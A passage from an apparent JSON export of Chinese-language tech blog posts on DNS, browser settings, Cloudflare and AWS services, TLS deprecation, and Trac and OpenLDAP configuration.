    "body": "我在 <a href=\"https://www.vultr.com/\">Vultr</a> 上的 <a href=\"https://trac.edgewall.org/\">Trac</a> 自動開票程式有時候會爛掉，沒把票開出來，把 stderr 輸出到檔案後發現是找不到 hostname：\r\n\r\n<pre>socket.gaierror: [Errno -3] Temporary failure in name resolution</pre>\r\n\r\n看了看 <code>/etc/resolv.conf</code> 發現系統使用的 DNS server 設定是透過 DHCP 取得設定的。但 Vultr 只有提供一組 DNS server，當查不到東西時就爆掉了... 所以找了一下，看到「<a href=\"https://askubuntu.com/questions/63160/how-to-override-the-dhcp-provided-nameserver\">How to override the DHCP-provided nameserver?</a>」這篇，但裡面是用「增加到前面的方式」，跟我想要改成只用 <code>1.1.1.1</code> 與 <code>1.0.0.1</code> 不太一樣。\r\n\r\n知道目錄後拿關鍵字去 <code>dhclient.conf</code> 的 manpage 裡面找，就可以看到四種設定方式：\r\n\r\n<pre>        default [ option declaration ] ;\r\n        supersede [ option declaration ] ;\r\n        prepend [ option declaration ] ;\r\n        append [ option declaration ] ;</pre>\r\n\r\n這四組看名字就大概知道用途了。接下來就是把對應的 interface 查出來以後，用 <code>supersede</code> 就搞定了：\r\n\r\n<pre>    supersede domain-name-servers 1.1.1.1, 1.0.0.1;</pre>\r\n\r\n重開機測試可以確認 <code>/etc/resolv.conf</code> 的內容改變了。接下來再來觀察看看還會不會有狀況...",
    "title": "在 DHCP 的情境下強制指定 DNS servers"
  },
  {
    "id": "8502",
    "body": "前幾天在 <a href=\"https://www.facebook.com/groups/awsugtw\">AWSUG Taiwan</a> 上講了「<a href=\"https://speakerdeck.com/gslin/yong-aws-codedeploy-jie-jue-cheng-shi-bu-shu\">用 AWS CodeDeploy 解決程式佈署</a>」，連結是投影片網址，因為在 <a href=\"https://speakerdeck.com/\">Speaker Deck</a> 上找不到 embed code 了，只好這樣連結過去。\r\n\r\n話說回來，要上傳投影片的時候才發現，這兩個投影片 hosting 服務都跟微軟有些關係... 首先是 <a href=\"https://www.slideshare.net/\">SlideShare</a> 在 2012 被 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 買下，然後 LinkedIn 在 2016 年賣給了微軟。\r\n\r\nSpeakerDeck (或者說，Ordered List 這家公司) 本來在 2011 年賣給了 <a href=\"https://github.com/\">GitHub</a>，但今年六月的時候被買回去了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Myself, <a href=\"https://twitter.com/orderedlist?ref_src=twsrc%5Etfw\">@orderedlist</a> and <a href=\"https://twitter.com/jqr?ref_src=twsrc%5Etfw\">@jqr</a> have acquired <a href=\"https://twitter.com/speakerdeck?ref_src=twsrc%5Etfw\">@speakerdeck</a> (<a href=\"https://t.co/Zfo2IagFaG\">https://t.co/Zfo2IagFaG</a>) from GitHub. Really excited about our plans for it&#39;s future!</p>&mdash; John Nunemaker (@jnunemaker) <a href=\"https://twitter.com/jnunemaker/status/1002610279295930369?ref_src=twsrc%5Etfw\">June 1, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不知道買回去是不是跟微軟要買 GitHub 有關...",
    "title": "在 AWSUG Taiwan 上講的「用 AWS CodeDeploy 解決程式佈署」"
  },
  {
    "id": "8503",
    "body": "最近吵的蠻凶的一個話題... 當你在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 瀏覽器內登入 <a href=\"https://www.google.com/\">Google</a> 帳號後 (像是 <a href=\"https://mail.google.com/\">Gmail</a>)，你的 Google Chrome 就會自動也一起登入了。\r\n\r\n官方目前拒絕承認這是個錯誤的設計，所以現在大家都在找 workaround 解。目前看到比較好的方式是這篇，提供了設定方式 (包括 Windows 與 Mac 平台)：「<a href=\"https://blog.ideasynthesis.com/2018/09/24/Disable-Google-Chrome-Sign-In-and-Sync/\">Disable Google Chrome Sign In and Sync</a>」。\r\n\r\n裡面有兩個步驟，第一個 <code>SyncDisabled</code> 設為 <code>true</code> 是把同步功能關掉，第二個 <code>RestrictSigninToPattern</code> 設為 <code>.*@example.com</code> 是把同時登入功能限制在 <code>example.com</code> 上，而這個 domain 則是在 <a href=\"https://tools.ietf.org/html/rfc2606\">RFC 2606</a> (Reserved Top Level DNS Names) 被保護起來，不開放任何單位註冊，也就是讓 Chrome 不可能找到符合的條件。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dVBJT2X.webp\" /><img src=\"https://i.gslin.com/imgur/dVBJT2X.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個方法是跳到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，但順暢度應該還是目前最主要的障礙吧...",
    "title": "強制關閉 Google Chrome 的登入功能"
  },
  {
    "id": "8504",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 決定支援 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 了：「<a href=\"https://blog.cloudflare.com/head-start-with-quic/\">Get a head start with QUIC</a>」、「<a href=\"https://blog.cloudflare.com/the-quicening/\">The QUICening</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zynDe1s.webp\" /><img src=\"https://i.gslin.com/imgur/zynDe1s.jpg\" alt=\"\" /></picture>\r\n\r\nQUIC 目前被使用的範圍比較小 (相較於 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>)：\r\n\r\n<ul>\r\n\t<li>主流瀏覽器內只有 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 有支援 QUIC，其他主流瀏覽器都沒有支援。不過 Google Chrome 也夠大了...</li>\r\n\t<li>因為是走 UDP，所以防火牆要另外開。</li>\r\n</ul>\r\n\r\n而 Google Chrome 上面可以安裝「<a href=\"https://chrome.google.com/webstore/detail/http2-and-spdy-indicator/mpbpobfflnpcgagjijhmgnchggcjblin\">HTTP/2 and SPDY indicator</a>」看到連線的狀態。雖然套件名稱沒有 QUIC，但實際上是可以看出 QUIC 的，基本上 <a href=\"https://www.google.com/\">Google</a> 的服務應該都是走 QUIC。",
    "title": "Cloudflare 決定支援 QUIC"
  },
  {
    "id": "8505",
    "body": "最近換到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 後覺得開很多 tab 時很卡，但 CPU 也沒滿，大概是某種 lock/mutex/semaphore 機制導致硬體資源沒用完但是自己限制住...\r\n\r\n找資料研究的時候發現 Firefox 對單一 server 的最大連線數是 6 個，而 <a href=\"https://www.google.com/chrome/\">Chrome</a> 是 10 個：「<a href=\"https://stackoverflow.com/questions/985431/max-parallel-http-connections-in-a-browser\">Max parallel http connections in a browser?</a>」。這對於網路速度夠的使用者就很卡，像是透過 RSS reader 同時對一個站台狂開分頁時就會卡住。\r\n\r\n翻了一下 Firefox 的設定，找到相關的幾個設定，其中上面提到的是 <code>network.http.max-persistent-connections-per-server</code>，預設的確是 6 個，改成 10 個後測了一天好不少，決定改成跟 IE11 一樣的 13 個... (奇怪的數字)\r\n\r\n另外一個是 <code>network.http.max-connections</code>，預設是 900 了，應該夠用...",
    "title": "讓 Firefox 連線數變多 (然後加快速度)"
  },
  {
    "id": "8506",
    "body": "先前知道不少單位會選擇用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的原因就是 <a href=\"https://aws.amazon.com/s3/\">S3</a> 到 CloudFront 這段是不需要傳輸費用的。畢竟 CDN 的 hit rate 還是有限，用其他家 CDN 得付這塊費用。\r\n\r\n而現在 <a href=\"https://www.backblaze.com/\">Backblaze</a> 宣佈跟 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 合作，免除掉 Backblaze 到 Cloudflare 的費用：「<a href=\"https://www.backblaze.com/blog/backblaze-and-cloudflare-partner-to-provide-free-data-transfer/\">Backblaze and Cloudflare Partner to Provide Free Data Transfer</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/QgY7oXB.jpg\" alt=\"\" />\r\n\r\n<blockquote>Today we are announcing that beginning immediately, Backblaze B2 customers will be able to download data stored in B2 to Cloudflare for zero transfer fees.</blockquote>\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 這邊會不會有其他動作呢...",
    "title": "Backblaze 與 Cloudflare 合作，免除傳輸費用"
  },
  {
    "id": "8507",
    "body": "<a href=\"https://tools.ietf.org/html/rfc8461\">RFC 8461</a> 成為正式標準 (Standards Track)，描述 Mail server 到 mail server 之間的強加密連線機制：「<a href=\"https://tools.ietf.org/html/rfc8461\">SMTP MTA Strict Transport Security (MTA-STS)</a>」。\r\n\r\nPolicy 設定的方法有好幾種：\r\n\r\n第一種是透過 <code>_mta-sts</code> 的 <code>TXT</code> record 設定，這點通常會配合 DNSSEC 確保 DNS 的查詢沒有被改。\r\n\r\n第二種是透過 HTTPS 在某個特定的 host (<code>mta-sts</code>) 取得 policy 檔案。像是對 <code>example.com</code> 的資料會從 <a href=\"https://mta-sts.example.com/.well-known/mta-sts.txt\">https://mta-sts.example.com/.well-known/mta-sts.txt</a> 取得。\r\n\r\n第三種是透過 HTTPS 的 certificate 裡面帶 <code>mta-sts</code> 資訊出來。\r\n\r\n不只有 DNS 可以設定，使得整個架構變得有點複雜...",
    "title": "SMTP 的強加密連線機制"
  },
  {
    "id": "8509",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的老大 Matthew Prince 在自家 blog 上宣佈 Cloudflare 成為域名註冊商：「<a href=\"https://blog.cloudflare.com/cloudflare-registrar/\">Introducing Cloudflare Registrar: Domain Registration You Can Love</a>」。\r\n\r\n原因是嫌其他家的安全性不夠，所以自己搞了一個把自家的域名都搬進去。現在則是提供服務開放讓大家用。\r\n\r\n可以看到 <code>cloudflare.com</code> 用一陣子了：\r\n\r\n<pre>   Domain Name: CLOUDFLARE.COM\r\n   Registry Domain ID: 1542998887_DOMAIN_COM-VRSN\r\n   Registrar WHOIS Server: whois.cloudflare.com\r\n   Registrar URL: http://www.cloudflare.com\r\n   Updated Date: 2017-05-24T17:44:01Z\r\n   Creation Date: 2009-02-17T22:07:54Z\r\n   Registry Expiry Date: 2024-02-17T22:07:54Z\r\n   Registrar: CloudFlare, Inc.\r\n   Registrar IANA ID: 1910</pre>\r\n\r\n不過 <a href=\"https://www.amazon.com/\">Amazon</a> 跟 <a href=\"https://www.google.com/\">Google</a> 也都有弄，未必一定要用 Cloudflare 的就是了：\r\n\r\n<pre>   Registrar: Amazon Registrar, Inc.\r\n   Registrar IANA ID: 468\r\n   Registrar Abuse Contact Email: registrar-abuse@amazon.com\r\n   Registrar Abuse Contact Phone: +1.2062661000</pre>\r\n\r\n<pre>   Registrar: Google Inc.\r\n   Registrar IANA ID: 895\r\n   Registrar Abuse Contact Email: registrar-abuse@google.com\r\n   Registrar Abuse Contact Phone: +1.8772376466</pre>",
    "title": "Cloudflare 成為域名註冊商..."
  },
  {
    "id": "8511",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了超大記憶體的機器，代碼 <code>u-{6,9,12}tb1.metal</code>，分別對應 6TB/9TB/12TB 的 RAM：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-amazon-ec2-high-memory-instances-with-6-9-and-12-tb-of-memory-perfect-for-sap-hana/\">Now Available – Amazon EC2 High Memory Instances with 6, 9, and 12 TB of Memory, Perfect for SAP HANA</a>」。\r\n\r\n這記憶體比我桌機的硬碟還大... 然後還打算出更大台的機器 XDDD：\r\n\r\n<blockquote>We’re not stopping at 12 TiB, and are planning to launch instances with 18 TiB and 24 TiB of memory in 2019.</blockquote>\r\n\r\n不過目前從 web console 上沒看到可以選擇，似乎沒有開放零租 (i.e. 以分計費，或是以小時計費)，在價錢頁「<a href=\"https://aws.amazon.com/ec2/pricing/on-demand/\">Amazon EC2 Pricing</a>」這邊沒看到，在 Reserved Instance (RI) 的頁面「<a href=\"https://aws.amazon.com/ec2/pricing/reserved-instances/pricing/\">Amazon EC2 Reserved Instances Pricing</a>」這邊也沒看到。\r\n\r\n從文章裡的描述知道目前在 <code>us-east-1</code> &amp; <code>ap-northeast-1</code> 有提供，但從後台情況以及文章語氣推測，似乎要另外開 support ticket 才能選用：\r\n\r\n<blockquote>These instances are now available in the US East (N. Virginia) and Asia Pacific (Tokyo) Regions as Dedicated Hosts with a 3-year term, and will be available soon in the US West (Oregon), Europe (Ireland), and AWS GovCloud (US) Regions. If you are ready to get started, contact your AWS account team or use the Contact Us page to make a request.</blockquote>\r\n\r\n而且看起來這個階段像是一次只給買三年？",
    "title": "AWS 提供 6TB/9TB/12TB RAM 的機器..."
  },
  {
    "id": "8512",
    "body": "<a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 從四月推出到現在也快半年了，<a href=\"https://www.percona.com/\">Percona</a> 總算是要推出對應的 Percona Server 8.0 了。目前提供 alpha 版本讓大家測試：「<a href=\"https://www.percona.com/blog/2018/09/27/announcement-alpha-build-of-percona-server-8-0/\">Announcement: Alpha Build of Percona Server 8.0</a>」。\r\n\r\n要把現在的 patch 都轉移到 8.0 上應該是個超級大工程，可以預期系統不會很穩定... 要用來做事的最好還是先維持 5.7，可以省掉很多麻煩。",
    "title": "Percona 要推出 Percona Server 8.0 了..."
  },
  {
    "id": "8513",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 <a href=\"https://developers.cloudflare.com/workers/kv/\">Workers KV</a> 服務：「<a href=\"https://blog.cloudflare.com/building-with-workers-kv/\">Building With Workers KV, a Fast Distributed Key-Value Store</a>」。\r\n\r\n是個 key-value 結構服務 (全球性，eventually consistent，約 10 秒的同步時間)，key 的限制是 2KB，value 是 64KB，一個 namespace 最多 10 億筆資料。\r\n\r\n讀取可以到 100k+ read/s，但寫入是 1 write/s/key，可以看出來主要是為了讀取資料而設計的。\r\n\r\n現有的 worker ($5/month) 會送一些量，包括 1GB 的空間與一千萬次的讀取：\r\n\r\n<blockquote>Your $5 monthly Workers compute minimum includes 1 GB of KV storage and up to 10 million KV reads. If you use less than the 10 million included Worker requests now, you can use KV without paying a single cent more.</blockquote>\r\n\r\n超過的部份另外再收：\r\n\r\n<blockquote>Beyond the minimums, Workers KV is billed at $0.50 per GB-month of additional storage and $0.50 per million additional KV reads.</blockquote>\r\n\r\n這樣好像整個 blog 的基本功能都可以直接在上面跑了... 而搜尋靠外部服務，圖片與影音也可以靠外部空間協助？",
    "title": "Cloudflare 的 Workers KV"
  },
  {
    "id": "8514",
    "body": "<a href=\"https://www.google.com/\">Google</a> 總算提供把 <a href=\"https://cloud.google.com/sql/\">Cloud SQL</a> 放進內部網路的選項了，雖然目前還是 beta 版本在測試：「<a href=\"https://cloud.google.com/blog/products/databases/introducing-private-networking-connection-for-cloud-sql\">Introducing private networking connection for Cloud SQL</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5PcKixi.webp\" /><img src=\"https://i.gslin.com/imgur/5PcKixi.jpg\" alt=\"\" /></picture>\r\n\r\n透過 VPC peering 把自己的網路與 Cloud SQL 的網路接起來，就不需要有 Public Endpoint，於是就有更低的 latency 與更好的安全性。",
    "title": "Google 的 Cloud SQL 總算能藏到內部網路了..."
  },
  {
    "id": "8515",
    "body": "有人試著把 <a href=\"https://www.chromium.org/\">Chromium</a> 裡的 <a href=\"https://www.google.com/\">Google</a> 相關服務都拔乾淨，叫做 <a href=\"https://github.com/Eloston/ungoogled-chromium\">ungoogled-chromium</a>：\r\n\r\n<blockquote>Modifications to Google Chromium for removing Google integration and enhancing privacy, control, and transparency</blockquote>\r\n\r\n有提供志願者包好的 pre-built binary，但看了一下版本有點舊，而且不能確定裡面有沒有什麼加料... 要用的人可能還是要考慮自己編一包出來。\r\n\r\n在「<a href=\"https://github.com/Eloston/ungoogled-chromium/issues/37\">Add a PPA or APT repo</a>」這邊有人在討論要怎麼包 PPA 出來，不過看起來卡關了...",
    "title": "把 Google 服務拔乾淨的 Chromium"
  },
  {
    "id": "8516",
    "body": "在 <a href=\"https://torrentfreak.com/\">TorrentFreak</a> 上看到 15 年前的 torrent，現在還活著：「<a href=\"https://torrentfreak.com/worlds-oldest-torrent-still-alive-after-15-years-180929/\">World’s Oldest Torrent Still Alive After 15 Years</a>」。\r\n\r\n當年一開始出來的時候還是有 tracker 架構，不是完全的 p2p，但即使如此，對於當時檔案傳輸的幫助超大。現在在 bootstrap 後 (像是抓個前面提到的 fan-made torrent) 就可以靠 <a href=\"https://en.wikipedia.org/wiki/Peer_exchange\">Peer exchange</a> 與 <a href=\"https://en.wikipedia.org/wiki/Distributed_hash_table\">DHT</a> 達到 tracker-less 了。\r\n\r\n而在遊戲界領域裡，<a href=\"https://www.blizzard.com/\">Blizzard</a> 也曾經採用了這個方式提供 patch 以降低伺服器端的頻寬壓力。不過後來好像是靠 CDN，就不用 P2P 的方式了？畢竟後來 CDN 競爭激烈不少，這類靜態檔案下載的技術大家都很成熟，對於有量的公司可以直接談個還不錯的價錢，而 P2P 還是有可能會受到干擾，走 HTTP (以及後來的 HTTPS) 還是遊戲公司的首選。\r\n\r\n算是網路歷史上少數真正分散式的架構... 不會受到 vendor 喊停就不見。",
    "title": "最老的 BitTorrent 檔案"
  },
  {
    "id": "8519",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 發表了 Firewall Rules，讓使用者可以直接在 Cloudflare 的網站上設定 edge 要擋下或是放行哪些連線：「<a href=\"https://blog.cloudflare.com/announcing-firewall-rules/\">Announcing Firewall Rules</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/SQ0c73e.webp\" /><img src=\"https://i.gslin.com/imgur/SQ0c73e.jpg\" alt=\"\" /></picture>\r\n\r\n除了可以透過點選的方式設定外，也可以直接編輯條件式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4cmx5qZ.webp\" /><img src=\"https://i.gslin.com/imgur/4cmx5qZ.jpg\" alt=\"\" /></picture>\r\n\r\n算是讓使用者更簡單的設定 (而且可以針對這些條件最佳化引擎)，不然 Cloudflare 提供的 Worker 其實也可以做類似的事情...",
    "title": "Cloudflare 的 Firewall Rules"
  },
  {
    "id": "8520",
    "body": "我自己再用的 <a href=\"https://trac.edgewall.org/\">Trac</a> 本來是走 HTTP 的 <code>Authorization</code> header 登入，但這樣每次重開瀏覽器就要登入一次，覺得麻煩... 就想要找套件改成用 HTML form login。\r\n\r\n目前比較有在維護的應該是 <a href=\"https://trac-hacks.org/wiki/AccountManagerPlugin\">AccountManagerPlugin</a> 這套，內建就支援本機密碼，也支援 plugin 掛其他外部服務進去。\r\n\r\n但掛進去後發現本來的自動開票機 (i.e. 用 crontab 開票) 就沒辦法登入了，最後找到得用 <a href=\"https://trac-hacks.org/wiki/HttpAuthPlugin\">HttpAuthPlugin</a> 處理。這個套件一開頭就寫了他也是為了 XmlRpcPlugin 而寫的：\r\n\r\n<blockquote>This plugin allows you to protect certain paths with HTTP authentication. The AccountManagerPlugin is used to check passwords.\r\n\r\nPrimarily this is meant to be used with the XmlRpcPlugin, so it will work while using AccountManager's form-based logins.</blockquote>\r\n\r\n就是遇到同樣的問題...",
    "title": "把 Trac 改成 Form Login 後 XMLRPC 不會動的問題..."
  },
  {
    "id": "8521",
    "body": "<a href=\"https://getintra.org/\">Intra</a> 是 <a href=\"https://abc.xyz/\">Alphabet</a> (<a href=\"https://www.google.com/\">Google</a> 母公司) 旗下 <a href=\"https://jigsaw.google.com/\">Jigsaw</a> 所開發的 app (目前只有 <a href=\"https://www.android.com/\">Android</a> 的，依照說明需要 4.0+)，透過 VPN 的架構換掉 DNS 設定，透過本機的 DNS Proxy 改走到外部的 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 服務上。\r\n\r\n走 DNS over HTTPS 可以降低 DNS 被干擾 (security issue) 或是被監控 (privacy issue) 的風險。\r\n\r\n在軟體內已經先內建了兩個 DNS over HTTPS 清單，一個是 Google 的 <a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a>，另外一個是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 <a href=\"https://1.1.1.1/\">1.1.1.1</a>，除此之外也可以自己輸入。\r\n\r\n由於是 Alphabet 家的軟體，預設是用 Google 的服務。\r\n\r\n軟體本身是 open source 專案 (<a href=\"https://apache.org/licenses/LICENSE-2.0\">Apache-2.0</a>)，程式碼在 <a href=\"https://github.com/Jigsaw-Code/intra\">Jigsaw-Code/intra</a> 這邊可以取得。",
    "title": "在 Android 上支援 DNS over HTTPS 的 Intra"
  },
  {
    "id": "8522",
    "body": "看到「<a href=\"https://www.mixnode.com/blog/posts/turn-the-web-into-a-database-an-alternative-to-web-crawling-scraping\">Turn the web into a database: An alternative to web crawling/scraping</a>」這篇，在介紹自家 <a href=\"https://mixnode.com/\">Mixnode</a> 這個產品，看起來是提供 SQL 界面分析整個 Web 的服務...\r\n\r\n這類服務最重要的反而不是搜尋界面 (有可以讓程式接的 API 其實就 ok 了)，重要的是後面的資料庫有多豐富...\r\n\r\n在「<a href=\"https://blog.gslin.org/archives/2017/12/10/7911/%E7%94%A8-publicwww-%E5%88%86%E6%9E%90%E7%B6%B2%E7%AB%99/\">用 PublicWWW 分析網站</a>」這邊有提到類似的服務 <a href=\"https://publicwww.com/\">PublicWWW</a>，而且也一樣有提供 API，先把 Mixnode 丟著記錄起來就好，等有需要的時候再去申請 trial account...",
    "title": "Mixnode：又一個可以搜尋整個 Web 的服務"
  },
  {
    "id": "8524",
    "body": "<a href=\"https://www.openldap.org/\">OpenLDAP</a> 伺服器可以吃 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 發的憑證以提供 LDAPS 服務，只是 SSL 設定方法跟其他軟體不太一樣，第一次設會花不少時間...\r\n\r\n這邊的檔案目錄是以 <a href=\"https://github.com/lukas2511/dehydrated\">Dehydrated</a> 申請 Let's Encrypt 的憑證來設定。官方推薦的 <a href=\"https://certbot.eff.org/\">Certbot</a> 應該也有類似的檔案：\r\n\r\n<pre>TLSCACertificateFile /etc/dehydrated/certs/x.y.z/chain.pem\r\nTLSCertificateFile /etc/dehydrated/certs/x.y.z/cert.pem\r\nTLSCertificateKeyFile /etc/dehydrated/certs/x.y.z/privkey.pem</pre>\r\n\r\n這樣不管 Let's Encrypt 拿 Let’s Encrypt Authority X3 (目前的主力憑證) 還是 Let’s Encrypt Authority X4 (備用的憑證) 簽，OpenLDAP 這邊才會串出正確的 certficiate chain。(用 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的 <code>s_client -connect x.y.z:636</code> 與 ldapsearch 測過)\r\n\r\n要找問題的話，ldapsearch 有 <code>-v</code> (verbose) 與 <code>-d 9</code> (debug) 可以看連線過程的細節，拿著錯誤訊息去餵搜尋引擎會有不少幫助...\r\n\r\n在找資料時發現網路上有不少文件教大家直接在 client 端的 <code>/etc/ldap/ldap.conf</code> 修改 <code>TLS_REQCERT</code> 的值，從預設的 <code>demand</code> 改成 <code>allow</code> (或是 <code>never</code>)，但這樣將強制檢查的條件改弱，安全性反而降低了。比較好的方式還是修正 server 端的錯誤設定。",
    "title": "讓 OpenLDAP 伺服器使用 Let's Encrypt 簽的憑證"
  },
  {
    "id": "8526",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 的執行時間限制從本來的 5 分鐘變成 15 分鐘了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/10/aws-lambda-supports-functions-that-can-run-up-to-15-minutes/\">AWS Lambda enables functions that can run up to 15 minutes</a>」。\r\n\r\n<blockquote>You can now configure your AWS Lambda functions to run up to 15 minutes per execution. Previously, the maximum execution time (timeout) for a Lambda function was 5 minutes.</blockquote>\r\n\r\n不過相較於時間拉長，我比較希望能用 Lambda 接 auto scaling，內建的條件設定還是有點陽春...",
    "title": "AWS Lambda 可執行時間提昇"
  },
  {
    "id": "8527",
    "body": "<strong>Update</strong>：<a href=\"https://www.apple.com/\">Apple</a> 也宣佈了，時間點跟大家都差不多：「<a href=\"https://webkit.org/blog/8462/deprecation-of-legacy-tls-1-0-and-1-1-versions/\">Deprecation of Legacy TLS 1.0 and 1.1 Versions</a>」。\r\n\r\n<a href=\"https://www.mozilla.org/\">Mozilla</a> 宣佈了「<a href=\"https://blog.mozilla.org/security/2018/10/15/removing-old-versions-of-tls/\">Removing Old Versions of TLS</a>」，而 <a href=\"https://www.google.com/\">Google</a> 也宣佈了「<a href=\"https://security.googleblog.com/2018/10/modernizing-transport-security.html\">Modernizing Transport Security</a>」，兩篇都是講自家瀏覽器 TLS 1.0 與 TLS 1.1 的退役時程。\r\n\r\nMozilla 這邊的計畫是 2020 年三月移除：\r\n\r\n<blockquote>In March of 2020, Firefox will disable support for TLS 1.0 and TLS 1.1.</blockquote>\r\n\r\nGoogle 這邊的計畫則是 Chrome 81 移除，換算成時間會從 2020 年一月開始影響到 canary channel，到 release channel 應該跟 Firefox 差不多時間：\r\n\r\n<blockquote>In line with these industry standards, Google Chrome will deprecate TLS 1.0 and TLS 1.1 in Chrome 72. Sites using these versions will begin to see deprecation warnings in the DevTools console in that release. TLS 1.0 and 1.1 will be disabled altogether in Chrome 81. This will affect users on early release channels starting January 2020.</blockquote>\r\n\r\n差不多試從現在開始的一年半。\r\n\r\n雖然這是講瀏覽器端的支援，但如果伺服器想要只支援 TLS 1.2+ 的話，就得考慮一下舊 client 支援的情況了。\r\n\r\n桌機影響會比較小 (升級比較方便，替代方案也比較多)，而行動平台看起來需要 Android 4.4+、iOS 7+，就要看各網站或是服務的族群了...",
    "title": "Mozilla 跟 Google 都宣佈了 TLS 1.0 與 TLS 1.1 的退役計畫"
  },
  {
    "id": "8529",
    "body": "在 <a href=\"https://developer.mozilla.org/\">MDN</a> 上看到「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_cookbook\">CSS Layout cookbook</a>」，目前整理了六種情境，包括了設計方式與瀏覽器的支援度。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VX3ILZK.webp\" /><img src=\"https://i.gslin.com/imgur/VX3ILZK.jpg\" alt=\"\" /></picture>\r\n\r\n看到「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_cookbook/Center_an_element\">Center an element</a>」有種苦笑的感覺啊... 以前弄這個都是 workaround，現在都有對應的 CSS 可以處理了。",
    "title": "MDN 上的 CSS Layout cookbook"
  },
  {
    "id": "8532",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/10/aws-lambda-introduces-service-level-agreement/\">AWS Lambda announces service level agreement</a>」這邊看到 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 提供 99.95% 的 SLA ：\r\n\r\n<blockquote>We have published a service level agreement (SLA) for AWS Lambda. We will use commercially reasonable efforts to make Lambda available with a Monthly Uptime Percentage for each AWS region, during any monthly billing cycle, of at least 99.95% (the “Service Commitment”).</blockquote>\r\n\r\n不過這種東西都是宣示意味比較重 (至少表示 <a href=\"https://aws.amazon.com/\">AWS</a> 認為產品穩定度夠上 SLA)，倒不是希望會用到...",
    "title": "AWS Lambda 也提供 SLA 了"
  },
  {
    "id": "8533",
    "body": "<a href=\"https://aws.amazon.com/rds/mysql/\">RDS (MySQL)</a> 也被 Amazon Lightsail 包裝出來賣了：「<a href=\"https://aws.amazon.com/blogs/aws/new-managed-databases-for-amazon-lightsail/\">New – Managed Databases for Amazon Lightsail</a>」。\r\n\r\n目前支援 MySQL 5.6 與 MySQL 5.7：\r\n\r\n<blockquote>We are launching with support for MySQL 5.6 and 5.7, and will add support for PostgreSQL 9.6 and 10 very soon.</blockquote>\r\n\r\n然後規格與價位，其中頻寬費用是指不同區時的頻寬 (同一區內的不計費)：\r\n\r\n<blockquote>Data Transfer – Data transfer to and from Lightsail instances in the same AWS Region does not count against the usage that is included in your plan.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sazFn0j.webp\" /><img src=\"https://i.gslin.com/imgur/sazFn0j.jpg\" alt=\"\" /></picture>\r\n\r\n這個服務應該是目前其他 VPS 沒提供的，這樣可以預期其他 VPS 應該也會被迫推出類似的服務？然後 <a href=\"https://aws.amazon.com/\">AWS</a> 也會再搬其他的服務出來賣？",
    "title": "Amazon Lightsail 也把 RDS 拿出來賣了..."
  },
  {
    "id": "8534",
    "body": "<a href=\"https://ckeditor.com/\">CKEditor</a> 的文章，說明他們在研究共同編輯產品 <a href=\"https://ckeditor.com/collaborative-editing/\">Collaborative editing</a> 時遇到的問題以及設計，算是帶一些技術性質的行銷文章：「<a href=\"https://ckeditor.com/blog/Lessons-learned-from-creating-a-rich-text-editor-with-real-time-collaboration/\">Lessons learned from creating a rich-text editor with real-time collaboration</a>」。\r\n\r\n就技術上應該會需要 <a href=\"https://en.wikipedia.org/wiki/WebSocket\">Websocket</a> 之類的服務即時更新 (至少會需要 HTTPS long polling)。頁面上看起來是賣服務的產品，然後有提到 30 天試用：\r\n\r\n<blockquote>Implement real-time collaboration in your web application by choosing one of the solutions. Both solutions offer a commitment-free 30 day free trial so you can take your time before you make the final decision.</blockquote>\r\n\r\n價錢要登入才看得到，而目前不接受開放註冊，需要邀請...",
    "title": "CKEditor 的 Collaborative Editing"
  },
  {
    "id": "8536",
